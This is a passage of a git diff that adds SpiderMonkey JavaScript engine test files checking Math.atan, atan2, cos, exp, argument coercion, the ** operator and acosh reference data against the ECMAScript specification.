+ "Math.atan('Infinity)",
+ Math.PI/2,
+ Math.atan('Infinity') );
+
+new TestCase(
+ "Math.atan('-Infinity)",
+ -Math.PI/2,
+ Math.atan('-Infinity') );
+
+new TestCase(
+ "Math.atan(0)",
+ 0,
+ Math.atan(0) );
+
+new TestCase(
+ "Math.atan(-0)",
+ -0,
+ Math.atan(-0) );
+
+new TestCase(
+ "Infinity/Math.atan(-0)",
+ -Infinity,
+ Infinity/Math.atan(-0) );
+
+new TestCase(
+ "Math.atan(Infinity)",
+ Math.PI/2,
+ Math.atan(Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan(-Infinity)",
+ -Math.PI/2,
+ Math.atan(Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan(1)",
+ Math.PI/4,
+ Math.atan(1) );
+
+new TestCase(
+ "Math.atan(-1)",
+ -Math.PI/4,
+ Math.atan(-1) );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.5.js b/js/src/tests/non262/Math/15.8.2.5.js
new file mode 100644
index 0000000000..0f1cf7182e
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.5.js
@@ -0,0 +1,209 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.5.js
+ ECMA Section: 15.8.2.5 atan2( y, x )
+ Description:
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.2.5";
+var TITLE = "Math.atan2(x,y)";
+var BUGNUMBER="76111";
+
+printBugNumber(BUGNUMBER);
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.atan2.length",
+ 2,
+ Math.atan2.length );
+
+new TestCase(
+ "Math.atan2(NaN, 0)",
+ Number.NaN,
+ Math.atan2(Number.NaN,0) );
+
+new TestCase(
+ "Math.atan2(null, null)",
+ 0,
+ Math.atan2(null, null) );
+
+new TestCase(
+ "Math.atan2(void 0, void 0)",
+ Number.NaN,
+ Math.atan2(void 0, void 0) );
+
+new TestCase(
+ "Math.atan2()",
+ Number.NaN,
+ Math.atan2() );
+
+new TestCase(
+ "Math.atan2(0, NaN)",
+ Number.NaN,
+ Math.atan2(0,Number.NaN) );
+
+new TestCase(
+ "Math.atan2(1, 0)",
+ Math.PI/2,
+ Math.atan2(1,0) );
+
+new TestCase(
+ "Math.atan2(1,-0)",
+ Math.PI/2,
+ Math.atan2(1,-0) );
+
+new TestCase(
+ "Math.atan2(0,0.001)",
+ 0,
+ Math.atan2(0,0.001) );
+
+new TestCase(
+ "Math.atan2(0,0)",
+ 0,
+ Math.atan2(0,0) );
+
+new TestCase(
+ "Math.atan2(0, -0)",
+ Math.PI,
+ Math.atan2(0,-0) );
+
+new TestCase(
+ "Math.atan2(0, -1)",
+ Math.PI,
+ Math.atan2(0, -1) );
+
+new TestCase(
+ "Math.atan2(-0, 1)",
+ -0,
+ Math.atan2(-0, 1) );
+
+new TestCase(
+ "Infinity/Math.atan2(-0, 1)",
+ -Infinity,
+ Infinity/Math.atan2(-0,1) );
+
+new TestCase(
+ "Math.atan2(-0, 0)",
+ -0,
+ Math.atan2(-0,0) );
+
+new TestCase(
+ "Math.atan2(-0, -0)",
+ -Math.PI,
+ Math.atan2(-0, -0) );
+
+new TestCase(
+ "Math.atan2(-0, -1)",
+ -Math.PI,
+ Math.atan2(-0, -1) );
+
+new TestCase(
+ "Math.atan2(-1, 0)",
+ -Math.PI/2,
+ Math.atan2(-1, 0) );
+
+new TestCase(
+ "Math.atan2(-1, -0)",
+ -Math.PI/2,
+ Math.atan2(-1, -0) );
+
+new TestCase(
+ "Math.atan2(1, Infinity)",
+ 0,
+ Math.atan2(1, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(1,-Infinity)",
+ Math.PI,
+ Math.atan2(1, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(-1, Infinity)",
+ -0,
+ Math.atan2(-1,Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Infinity/Math.atan2(-1, Infinity)",
+ -Infinity,
+ Infinity/Math.atan2(-1,Infinity) );
+
+new TestCase(
+ "Math.atan2(-1,-Infinity)",
+ -Math.PI,
+ Math.atan2(-1,Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(Infinity, 0)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY, 0) );
+
+new TestCase(
+ "Math.atan2(Infinity, 1)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY, 1) );
+
+new TestCase(
+ "Math.atan2(Infinity,-1)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY,-1) );
+
+new TestCase(
+ "Math.atan2(Infinity,-0)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY,-0) );
+
+new TestCase(
+ "Math.atan2(-Infinity, 0)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY, 0) );
+
+new TestCase(
+ "Math.atan2(-Infinity,-0)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY,-0) );
+
+new TestCase(
+ "Math.atan2(-Infinity, 1)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY, 1) );
+
+new TestCase(
+ "Math.atan2(-Infinity, -1)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY,-1) );
+
+new TestCase(
+ "Math.atan2(Infinity, Infinity)",
+ Math.PI/4,
+ Math.atan2(Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(Infinity, -Infinity)",
+ 3*Math.PI/4,
+ Math.atan2(Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(-Infinity, Infinity)",
+ -Math.PI/4,
+ Math.atan2(Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(-Infinity, -Infinity)",
+ -3*Math.PI/4,
+ Math.atan2(Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(-1, 1)",
+ -Math.PI/4,
+ Math.atan2( -1, 1) );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.7.js b/js/src/tests/non262/Math/15.8.2.7.js
new file mode 100644
index 0000000000..70af7e679f
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.7.js
@@ -0,0 +1,247 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.7.js
+ ECMA Section: 15.8.2.7 cos( x )
+ Description: return an approximation to the cosine of the
+ argument. argument is expressed in radians
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+
+var SECTION = "15.8.2.7";
+var TITLE = "Math.cos(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.cos.length",
+ 1,
+ Math.cos.length );
+
+new TestCase(
+ "Math.cos()",
+ Number.NaN,
+ Math.cos() );
+
+new TestCase(
+ "Math.cos(void 0)",
+ Number.NaN,
+ Math.cos(void 0) );
+
+new TestCase(
+ "Math.cos(false)",
+ 1,
+ Math.cos(false) );
+
+new TestCase(
+ "Math.cos(null)",
+ 1,
+ Math.cos(null) );
+
+new TestCase(
+ "Math.cos('0')",
+ 1,
+ Math.cos('0') );
+
+new TestCase(
+ "Math.cos('Infinity')",
+ Number.NaN,
+ Math.cos("Infinity") );
+
+new TestCase(
+ "Math.cos('3.14159265359')",
+ -1,
+ Math.cos('3.14159265359') );
+
+new TestCase(
+ "Math.cos(NaN)",
+ Number.NaN,
+ Math.cos(Number.NaN) );
+
+new TestCase(
+ "Math.cos(0)",
+ 1,
+ Math.cos(0) );
+
+new TestCase(
+ "Math.cos(-0)",
+ 1,
+ Math.cos(-0) );
+
+new TestCase(
+ "Math.cos(Infinity)",
+ Number.NaN,
+ Math.cos(Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.cos(-Infinity)",
+ Number.NaN,
+ Math.cos(Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.cos(0.7853981633974)",
+ 0.7071067811865,
+ Math.cos(0.7853981633974) );
+
+new TestCase(
+ "Math.cos(1.570796326795)",
+ 0,
+ Math.cos(1.570796326795) );
+
+new TestCase(
+ "Math.cos(2.356194490192)",
+ -0.7071067811865,
+ Math.cos(2.356194490192) );
+
+new TestCase(
+ "Math.cos(3.14159265359)",
+ -1,
+ Math.cos(3.14159265359) );
+
+new TestCase(
+ "Math.cos(3.926990816987)",
+ -0.7071067811865,
+ Math.cos(3.926990816987) );
+
+new TestCase(
+ "Math.cos(4.712388980385)",
+ 0,
+ Math.cos(4.712388980385) );
+
+new TestCase(
+ "Math.cos(5.497787143782)",
+ 0.7071067811865,
+ Math.cos(5.497787143782) );
+
+new TestCase(
+ "Math.cos(Math.PI*2)",
+ 1,
+ Math.cos(Math.PI*2) );
+
+new TestCase(
+ "Math.cos(Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(Math.PI/4) );
+
+new TestCase(
+ "Math.cos(Math.PI/2)",
+ 0,
+ Math.cos(Math.PI/2) );
+
+new TestCase(
+ "Math.cos(3*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(3*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(Math.PI)",
+ -1,
+ Math.cos(Math.PI) );
+
+new TestCase(
+ "Math.cos(5*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(5*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(3*Math.PI/2)",
+ 0,
+ Math.cos(3*Math.PI/2) );
+
+new TestCase(
+ "Math.cos(7*Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(7*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(Math.PI*2)",
+ 1,
+ Math.cos(2*Math.PI) );
+
+new TestCase(
+ "Math.cos(-0.7853981633974)",
+ 0.7071067811865,
+ Math.cos(-0.7853981633974) );
+
+new TestCase(
+ "Math.cos(-1.570796326795)",
+ 0,
+ Math.cos(-1.570796326795) );
+
+new TestCase(
+ "Math.cos(-2.3561944901920)",
+ -.7071067811865,
+ Math.cos(2.3561944901920) );
+
+new TestCase(
+ "Math.cos(-3.14159265359)",
+ -1,
+ Math.cos(3.14159265359) );
+
+new TestCase(
+ "Math.cos(-3.926990816987)",
+ -0.7071067811865,
+ Math.cos(3.926990816987) );
+
+new TestCase(
+ "Math.cos(-4.712388980385)",
+ 0,
+ Math.cos(4.712388980385) );
+
+new TestCase(
+ "Math.cos(-5.497787143782)",
+ 0.7071067811865,
+ Math.cos(5.497787143782) );
+
+new TestCase(
+ "Math.cos(-6.28318530718)",
+ 1,
+ Math.cos(6.28318530718) );
+
+new TestCase(
+ "Math.cos(-Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(-Math.PI/4) );
+
+new TestCase(
+ "Math.cos(-Math.PI/2)",
+ 0,
+ Math.cos(-Math.PI/2) );
+
+new TestCase(
+ "Math.cos(-3*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(-3*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(-Math.PI)",
+ -1,
+ Math.cos(-Math.PI) );
+
+new TestCase(
+ "Math.cos(-5*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(-5*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(-3*Math.PI/2)",
+ 0,
+ Math.cos(-3*Math.PI/2) );
+
+new TestCase(
+ "Math.cos(-7*Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(-7*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(-Math.PI*2)",
+ 1,
+ Math.cos(-Math.PI*2) );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.8.js b/js/src/tests/non262/Math/15.8.2.8.js
new file mode 100644
index 0000000000..78f7eb7898
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.8.js
@@ -0,0 +1,84 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.8.js
+ ECMA Section: 15.8.2.8 Math.exp(x)
+ Description: return an approximation to the exponential function of
+ the argument (e raised to the power of the argument)
+ special cases:
+ - if x is NaN return NaN
+ - if x is 0 return 1
+ - if x is -0 return 1
+ - if x is Infinity return Infinity
+ - if x is -Infinity return 0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+
+var SECTION = "15.8.2.8";
+var TITLE = "Math.exp(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( "Math.exp.length",
+ 1,
+ Math.exp.length );
+
+new TestCase( "Math.exp()",
+ Number.NaN,
+ Math.exp() );
+
+new TestCase( "Math.exp(null)",
+ 1,
+ Math.exp(null) );
+
+new TestCase( "Math.exp(void 0)",
+ Number.NaN,
+ Math.exp(void 0) );
+
+new TestCase( "Math.exp(1)",
+ Math.E,
+ Math.exp(1) );
+
+new TestCase( "Math.exp(true)",
+ Math.E,
+ Math.exp(true) );
+
+new TestCase( "Math.exp(false)",
+ 1,
+ Math.exp(false) );
+
+new TestCase( "Math.exp('1')",
+ Math.E,
+ Math.exp('1') );
+
+new TestCase( "Math.exp('0')",
+ 1,
+ Math.exp('0') );
+
+new TestCase( "Math.exp(NaN)",
+ Number.NaN,
+ Math.exp(Number.NaN) );
+
+new TestCase( "Math.exp(0)",
+ 1,
+ Math.exp(0) );
+
+new TestCase( "Math.exp(-0)",
+ 1,
+ Math.exp(-0) );
+
+new TestCase( "Math.exp(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.exp(Number.POSITIVE_INFINITY) );
+
+new TestCase( "Math.exp(-Infinity)",
+ 0,
+ Math.exp(Number.NEGATIVE_INFINITY) );
+
+test();
diff --git a/js/src/tests/non262/Math/20.2.2.ToNumber.js b/js/src/tests/non262/Math/20.2.2.ToNumber.js
new file mode 100644
index 0000000000..de1f4e612c
--- /dev/null
+++ b/js/src/tests/non262/Math/20.2.2.ToNumber.js
@@ -0,0 +1,112 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * ECMA-262 6th Edition / Draft November 8, 2013
+ *
+ * 20.2.2 Function Properties of the Math Object
+ */
+
+/*
+ * This custom object will allow us to check if valueOf() is called
+ */
+
+TestNumber.prototype = new Number();
+
+function TestNumber(value) {
+ this.value = value;
+ this.valueOfCalled = false;
+}
+
+TestNumber.prototype = {
+ valueOf: function() {
+ this.valueOfCalled = true;
+ return this.value;
+ }
+}
+
+// Verify that each TestNumber's flag is set after calling Math func
+function test(func /*, args */) {
+ var args = Array.prototype.slice.call(arguments, 1);
+ func.apply(null, args);
+
+ for (var i = 0; i < args.length; ++i)
+ assertEq(args[i].valueOfCalled, true);
+}
+
+// Note that we are not testing these functions' return values
+// We only test whether valueOf() is called for each argument
+
+// 1. Test Math.atan2()
+var x = new TestNumber(1);
+test(Math.atan2, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.atan2, y, x);
+
+// Remove comment block once patch for bug 896264 is approved
+/*
+// 2. Test Math.hypot()
+var x = new TestNumber(1);
+test(Math.hypot, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.hypot, x, y);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+var z = new TestNumber(3);
+test(Math.hypot, x, y, z);
+*/
+
+// Remove comment block once patch for bug 808148 is approved
+/*
+// 3. Test Math.imul()
+var x = new TestNumber(1);
+test(Math.imul, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.imul, x, y);
+*/
+
+// 4. Test Math.max()
+var x = new TestNumber(1);
+test(Math.max, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.max, x, y);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+var z = new TestNumber(3);
+test(Math.max, x, y, z);
+
+// 5. Test Math.min()
+var x = new TestNumber(1);
+test(Math.min, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.min, x, y);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+var z = new TestNumber(3);
+test(Math.min, x, y, z);
+
+// 6. Test Math.pow()
+var x = new TestNumber(1);
+test(Math.pow, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.pow, x, y);
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/Pow.js b/js/src/tests/non262/Math/Pow.js
new file mode 100644
index 0000000000..281c716a76
--- /dev/null
+++ b/js/src/tests/non262/Math/Pow.js
@@ -0,0 +1,117 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1135708;
+var summary = "Implement the exponentiation operator";
+
+print(BUGNUMBER + ": " + summary);
+
+// Constant folding
+assertEq(2 ** 2 ** 3, 256);
+assertEq(1 ** 1 ** 4, 1);
+
+// No folding
+var two = 2;
+var three = 3;
+var four = 4;
+assertEq(two ** two ** three, 256);
+assertEq(1 ** 1 ** four, 1);
+
+// Operator precedence
+assertEq(2 ** 3 / 2 ** 3, 1);
+assertEq(2 ** 3 * 2 ** 3, 64);
+assertEq(2 ** 3 + 2 ** 3, 16);
+
+// With parentheses
+assertEq((2 ** 3) ** 2, 64);
+assertEq(2 ** (3 ** 2), 512);
+
+// Assignment operator
+var x = 2;
+assertEq(x **= 2 ** 3, 256);
+assertEq(x, 256);
+
+// Loop to test baseline and ION
+for (var i=0; i<10000; i++) {
+ assertEq((2 ** 3) ** 2, 64);
+ assertEq(2 ** (3 ** 2), 512);
+ var x = 2;
+ assertEq(x **= 2 ** 3, 256);
+ assertEq(x, 256);
+}
+
+// Comments should not be confused with exp operator
+var a, c, e;
+a = c = e = 2;
+assertEq(a**/**b**/c/**/**/**d**/e, 16);
+
+// Two stars separated should not parse as exp operator
+assertThrowsInstanceOf(function() { return Reflect.parse("2 * * 3"); }, SyntaxError);
+
+// Left-hand side expression must not be a unary expression.
+for (let unaryOp of ["delete", "typeof", "void", "+", "-", "!", "~"]) {
+ assertThrowsInstanceOf(() => eval(unaryOp + " a ** 2"), SyntaxError);
+ assertThrowsInstanceOf(() => eval(unaryOp + " " + unaryOp + " a ** 2"), SyntaxError);
+}
+
+// Test the other |delete| operators (DELETENAME and DELETEEXPR are already tested above).
+assertThrowsInstanceOf(() => eval("delete a.name ** 2"), SyntaxError);
+assertThrowsInstanceOf(() => eval("delete a[0] ** 2"), SyntaxError);
+
+// Unary expression lhs is valid if parenthesized.
+for (let unaryOp of ["delete", "void", "+", "-", "!", "~"]) {
+ let a = 0;
+ eval("(" + unaryOp + " a) ** 2");
+ eval("(" + unaryOp + " " + unaryOp + " a) ** 2");
+}
+{
+ let a = {};
+ (delete a.name) ** 2;
+ (delete a[0]) ** 2;
+}
+
+// Check if error propagation works
+var thrower = {
+ get value() {
+ throw new Error();
+ }
+};
+
+assertThrowsInstanceOf(function() { return thrower.value ** 2; }, Error);
+assertThrowsInstanceOf(function() { return 2 ** thrower.value; }, Error);
+assertThrowsInstanceOf(function() { return 2 ** thrower.value ** 2; }, Error);
+
+var convertibleToPrimitive = {
+ valueOf: function() {
+ throw new Error("oops");
+ }
+};
+
+assertThrowsInstanceOf(function() { return convertibleToPrimitive ** 3; }, Error);
+assertThrowsInstanceOf(function() { return 3 ** convertibleToPrimitive; }, Error);
+
+assertEq(NaN ** 2, NaN);
+assertEq(2 ** NaN, NaN);
+assertEq(2 ** "3", 8);
+assertEq("2" ** 3, 8);
+
+// Reflect.parse generates a correct parse tree for simplest case
+var parseTree = Reflect.parse("a ** b");
+assertEq(parseTree.body[0].type, "ExpressionStatement");
+assertEq(parseTree.body[0].expression.operator, "**");
+assertEq(parseTree.body[0].expression.left.name, "a");
+assertEq(parseTree.body[0].expression.right.name, "b");
+
+// Reflect.parse generates a tree following the right-associativity rule
+var parseTree = Reflect.parse("a ** b ** c");
+assertEq(parseTree.body[0].type, "ExpressionStatement");
+assertEq(parseTree.body[0].expression.left.name, "a");
+assertEq(parseTree.body[0].expression.right.operator, "**");
+assertEq(parseTree.body[0].expression.right.left.name, "b");
+assertEq(parseTree.body[0].expression.right.right.name, "c");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Math/acosh-approx.js b/js/src/tests/non262/Math/acosh-approx.js
new file mode 100644
index 0000000000..3854a5909d
--- /dev/null
+++ b/js/src/tests/non262/Math/acosh-approx.js
@@ -0,0 +1,283 @@
+var cosh_data = [
+ [1.0000014305114746, 0.0016914556651292944],
+ [1.0000019073486328, 0.001953124689559275],
+ [1.000007152557373, 0.003782208044661295],
+ [1.000013828277588, 0.005258943946801101],
+ [1.0000171661376953, 0.005859366618129203],
+ [1.0000600814819336, 0.010961831992188852],
+ [1.0001168251037598, 0.015285472131830425],
+ [1.0001487731933594, 0.017249319093529877],
+ [1.0003981590270996, 0.028218171738655373],
+ [1.000638484954834, 0.03573281468231457],
+ [1.0010714530944824, 0.046287402472878776],
+ [1.0030217170715332, 0.07771996527168971],
+ [1.0049939155578613, 0.0998975930860278],
+ [1.0092840194702148, 0.13615938768032465],
+ [1.024169921875, 0.21942279004958354],
+ [1.0622773170471191, 0.3511165938166055],
+ [1.1223440170288086, 0.48975026711288183],
+ [1.2495574951171875, 0.692556883708491],
+ [1.4912219047546387, 0.954530572221414],
+ [1.9838471412658691, 1.307581416910453],
+ [2.1576128005981445, 1.4035188779741334],
+ [2.406397819519043, 1.5250070845427517],
+ [3.386958122253418, 1.8905372013072799],
+ [4.451677322387695, 2.1735673399948254],
+ [6.9391326904296875, 2.625091127868242],
+ [7.756023406982422, 2.737434918695162],
+ [8.882369995117188, 2.8740317167801948],
+ [9.869171142578125, 2.97998639328949],
+ [16.848876953125, 3.516549380542481],
+ [16.88458251953125, 3.51867003468025],
+ [18.18859100341797, 3.593185165198829],
+ [18.82012176513672, 3.6273672142963385],
+ [19.184181213378906, 3.646553244410946],
+ [24.039520263671875, 3.872413451393967],
+ [26.556991577148438, 3.972085568933329],
+ [27.921104431152344, 4.022209178119238],
+ [32.314666748046875, 4.168428891496629],
+ [34.73008728027344, 4.240546229861005],
+ [36.51556396484375, 4.290698214968891],
+ [38.851287841796875, 4.352722738491574],
+ [49.46875, 4.594386162629449],
+ [49.67265319824219, 4.598500387004538],
+ [55.821014404296875, 4.7152173401856095],
+ [57.119781494140625, 4.73822104001982],
+ [60.37983703613281, 4.793733825338029],
+ [63.4661865234375, 4.8435923769530165],
+ [63.822418212890625, 4.849190310904695],
+ [64.36642456054688, 4.85767897228448],
+ [65.82318115234375, 4.880061548144127],
+ [68.60302734375, 4.921430721025434],
+ [70.173583984375, 4.94406835208057],
+ [71.80126953125, 4.967000841791218],
+ [75.40786743164062, 5.016014824864732],
+ [75.49771118164062, 5.017205657609766],
+ [78.06475830078125, 5.0506448716550825],
+ [79.64892578125, 5.0707363201405276],
+ [79.8707275390625, 5.073517411135063],
+ [82.14324951171875, 5.101574796209937],
+ [86.42214965820312, 5.152357710985635],
+ [87.75869750976562, 5.167705692500117],
+ [94.24942016601562, 5.2390637098028074],
+ [95.00259399414062, 5.247023676519904],
+ [96.06402587890625, 5.258134994273664],
+ [99.10101318359375, 5.289261389093961],
+ [104.82595825195312, 5.345425863147171],
+ [105.89431762695312, 5.3555664787245885],
+ [106.750244140625, 5.363617180711895],
+ [109.40167236328125, 5.388152468690488],
+ [111.29598999023438, 5.405320225963013],
+ [112.68215942382812, 5.417698597745429],
+ [115.84786987304688, 5.445406415908933],
+ [122.51895141601562, 5.501396249028249],
+ [126.29083251953125, 5.531718947357248],
+ [127.88677978515625, 5.544277233951787],
+ [128.29241943359375, 5.547444176085567],
+ [129.49658203125, 5.556786759298988],
+ [138.73651123046875, 5.625710723366437],
+ [139.18450927734375, 5.628934733085022],
+ [139.9705810546875, 5.634566685055491],
+ [143.6336669921875, 5.660401141376928],
+ [149.2176513671875, 5.698541939965668],
+ [150.61602783203125, 5.7078698961812995],
+ [151.65460205078125, 5.714741890601693],
+ [154.77532958984375, 5.735111323217677],
+ [158.9586181640625, 5.761781191641161],
+ [159.23260498046875, 5.763503378028959],
+ [166.89166259765625, 5.810483079631769],
+ [169.22418212890625, 5.824362807770767],
+ [170.85247802734375, 5.833939098607025],
+ [175.641845703125, 5.861586030831371],
+ [176.47808837890625, 5.866335876872544],
+ [177.0284423828125, 5.869449614294116],
+ [178.81622314453125, 5.879497954012966],
+ [181.28570556640625, 5.893213844044451],
+ [190.84246826171875, 5.944588630523773],
+ [191.39764404296875, 5.947493525920713],
+ [194.2606201171875, 5.962341215900494],
+ [194.89630126953125, 5.9656082276276],
+ [196.72125244140625, 5.9749284849312865],
+ [196.76788330078125, 5.975165500176202],
+ [198.0592041015625, 5.981706804024238],
+ [199.97052001953125, 5.991310884439669],
+ [202.70001220703125, 6.004868209578554],
+ [204.95684814453125, 6.0159406892865155],
+ [206.92059326171875, 6.025476453825986],
+ [211.4588623046875, 6.047172064627678],
+ [211.6217041015625, 6.0479418642231595],
+ [212.15936279296875, 6.050479329955437],
+ [219.93341064453125, 6.086466833749719],
+ [223.34747314453125, 6.101870903204913],
+ [228.56036376953125, 6.1249427443985525],
+ [229.53656005859375, 6.129204755426344],
+ [231.15753173828125, 6.136241935513706],
+ [235.22589111328125, 6.153688953514383],
+ [237.17108154296875, 6.1619244798633215],
+ [237.904541015625, 6.165012268502458],
+ [243.202392578125, 6.187036941752032],
+ [244.296875, 6.191527178125454],
+ [245.39239501953125, 6.196001570568187],
+ [245.80389404296875, 6.197677082130341],
+ [249.68365478515625, 6.2133379061260285],
+ [252.32763671875, 6.223871642756905],
+ [253.4725341796875, 6.228398760115369],
+ [264.1583251953125, 6.269692237869835],
+ [265.867919921875, 6.276143287577458],
+ [273.893798828125, 6.305884283737176],
+ [274.060546875, 6.306492908028797],
+ [274.06298828125, 6.3065018163217115],
+ [275.31201171875, 6.31104892482331],
+ [281.2171630859375, 6.3322712125431915],
+ [284.3428955078125, 6.343324976847916],
+ [284.8428955078125, 6.345081883725142],
+ [287.3035888671875, 6.353683609448096],
+ [290.8973388671875, 6.366114643735997],
+ [293.0467529296875, 6.373476431987165],
+ [293.048583984375, 6.3734826803404045],
+ [296.819091796875, 6.3862671775996915],
+ [297.6572265625, 6.389086936901673],
+ [308.40625, 6.424562459508495],
+ [316.5472412109375, 6.4506171773701535],
+ [320.2418212890625, 6.462221144761522],
+ [322.33642578125, 6.468740575092418],
+ [323.5101318359375, 6.472375224718483],
+ [327.8939208984375, 6.485834999462654],
+ [328.0833740234375, 6.486412623146554],
+ [328.214599609375, 6.486812521370483],
+ [332.13916015625, 6.498698952535687],
+ [339.6888427734375, 6.521175044233963],
+ [340.171630859375, 6.522595306993373],
+ [340.22998046875, 6.522766822935215],
+ [340.9984130859375, 6.52502285413445],
+ [347.719482421875, 6.5445411825986985],
+ [347.921142578125, 6.5451209675856825],
+ [349.8392333984375, 6.55061885367159],
+ [353.1812744140625, 6.560126626713879],
+ [353.3170166015625, 6.560510895819139],
+ [354.9730224609375, 6.565186990039135],
+ [355.6412353515625, 6.567067660815945],
+ [363.193603515625, 6.588081320423386],
+ [363.7503662109375, 6.5896131163651415],
+ [366.66650390625, 6.597598047275183],
+ [370.5828857421875, 6.608222493065004],
+ [371.822998046875, 6.611563301604297],
+ [375.8822021484375, 6.622421213257873],
+ [377.1107177734375, 6.625684248051368],
+ [377.588623046875, 6.626950731244344],
+ [378.8428955078125, 6.630267034079059],
+ [379.1123046875, 6.630977920761718],
+ [381.1038818359375, 6.636217452968849],
+ [382.1112060546875, 6.638857149899159],
+ [382.9927978515625, 6.641161660644278],
+ [387.1845703125, 6.652047018118426],
+ [389.669921875, 6.658445560711748],
+ [389.804443359375, 6.658790721334144],
+ [396.3114013671875, 6.675345858154136],
+ [397.005126953125, 6.677094789236718],
+ [397.1934814453125, 6.6775691166680895],
+ [397.8046875, 6.679106750673113],
+ [398.8426513671875, 6.681712590609845],
+ [399.1663818359375, 6.682523938576487],
+ [399.2547607421875, 6.68274532345516],
+ [400.33984375, 6.685459416477178],
+ [403.9578857421875, 6.694456277839498],
+ [404.279541015625, 6.6952522228540765],
+ [405.0574951171875, 6.6971746771142415],
+ [407.328125, 6.702764738337774],
+ [407.547119140625, 6.7033022311799595],
+ [410.5994873046875, 6.710763953621196],
+ [410.8016357421875, 6.711256159037373],
+ [411.129638671875, 6.712054288828399],
+ [411.9053955078125, 6.713939407502346],
+ [415.5833740234375, 6.722828986708716],
+ [417.669189453125, 6.727835453862132],
+ [420.517822265625, 6.734632628835641],
+ [424.3853759765625, 6.743787740494532],
+ [424.7154541015625, 6.744565219553757],
+ [436.3419189453125, 6.7715720212680655],
+ [438.501953125, 6.776510146304201],
+ [439.3369140625, 6.778412462065226],
+ [445.5606689453125, 6.79247934060035],
+ [452.9901123046875, 6.809016260337229],
